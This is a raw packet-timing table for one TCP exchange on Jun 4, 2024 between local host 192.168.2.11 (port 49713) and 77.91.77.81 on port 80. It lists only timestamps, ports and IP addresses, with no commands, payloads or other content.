Jun 4, 2024 23:09:16.417839050 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417849064 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417860985 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417861938 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417879105 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417884111 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417891026 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417900085 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417901993 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417912960 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417923927 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417924881 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417937040 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417948961 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417951107 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417963028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417963982 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417973042 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417980909 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417984962 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417995930 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418005943 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418006897 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418016911 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418029070 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418030024 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418040037 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418049097 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418051958 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418062925 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418066025 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418075085 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418081999 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418104887 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418106079 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418126106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418137074 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418138981 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418148041 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418158054 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418167114 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418169975 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418181896 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418183088 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418206930 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418224096 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418262005 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418277979 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418289900 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418299913 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418311119 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418311119 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418322086 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418333054 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418340921 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418345928 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418348074 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418358088 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418369055 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418371916 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418380976 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418395996 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418395996 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418411970 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418425083 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418438911 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418450117 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418459892 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418469906 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418472052 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418483973 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418483973 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418497086 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418502092 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418509007 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418520927 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418526888 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418534040 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418541908 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418545961 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418556929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418565035 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418569088 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418587923 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418590069 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418601036 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418607950 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418612003 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418631077 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418633938 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418648958 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418659925 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418659925 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418672085 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418684006 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418684959 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418698072 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418709040 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418709040 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418723106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418726921 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418735027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418745041 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418746948 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418757915 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418768883 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418770075 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418780088 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418791056 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418792963 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418802023 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418809891 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418814898 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418824911 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418827057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418842077 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418848991 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418875933 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418948889 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418966055 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418977976 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.418982983 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.418989897 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419002056 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419007063 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419013023 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419024944 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419029951 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419037104 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419045925 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419049025 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419059992 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419070005 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419075966 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419094086 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419095039 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419107914 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419114113 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419126987 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419133902 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419137955 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419150114 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419151068 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419161081 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419168949 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419181108 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419192076 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419192076 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419203043 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419212103 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419214964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419230938 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419236898 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419248104 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419258118 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419266939 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419277906 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419282913 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419290066 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419301987 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419306040 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419313908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419327021 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419332027 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419339895 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419351101 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419353962 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419362068 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419373035 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419378042 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419394016 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419400930 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419405937 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419416904 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419431925 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419435978 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419445038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419450045 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419456959 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419467926 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419473886 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419481039 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419492006 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419497967 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419503927 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419512987 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419517040 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419528961 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419539928 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419540882 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419553041 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419564009 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419564962 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419579029 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419584990 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419595003 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419601917 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419614077 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419620991 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419625044 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419635057 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419636965 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419647932 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419650078 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419660091 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419663906 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419672012 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419683933 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419688940 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419693947 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419704914 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419706106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419718027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419729948 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419737101 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419754028 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419754982 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419766903 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419770956 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419778109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419790030 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419792891 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419802904 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419809103 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419815063 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419826984 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419835091 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419837952 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419848919 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419850111 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419862032 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419872046 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419873953 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419893980 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419894934 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419909954 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419909954 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419922113 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419931889 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419934034 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419944048 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419951916 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419956923 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419969082 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419975996 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419980049 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.419990063 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.419991970 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420002937 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420013905 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420013905 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.420027971 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420038939 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.420039892 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420052052 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.420058966 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420074940 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420075893 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.420087099 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420098066 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.420099020 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420109987 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420120955 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.420120955 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420131922 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420142889 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420144081 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.420155048 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420160055 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.420166969 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420175076 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.420178890 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420191050 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420201063 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.420202017 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420213938 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420223951 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.420223951 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420241117 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.420243979 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420255899 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420255899 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.420267105 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420278072 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.420279026 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420291901 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420294046 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.420305014 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420308113 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.420316935 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420331955 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.420353889 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.420382023 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420397043 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420408010 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420411110 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.420418024 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.420418978 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420432091 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420442104 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.420443058 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420454979 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420466900 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420466900 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.420488119 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420491934 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.420499086 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.420500994 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420512915 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420523882 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.420525074 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420541048 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.420557976 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420562029 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.420569897 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420583963 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420588970 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.420595884 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420603991 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.420608044 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420619011 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420622110 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.420633078 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420638084 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.420644999 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420656919 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420660973 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.420667887 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420676947 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.420680046 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420701027 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.420701027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.420718908 CEST	80	49713	77.91.77.81	192.168.2.11
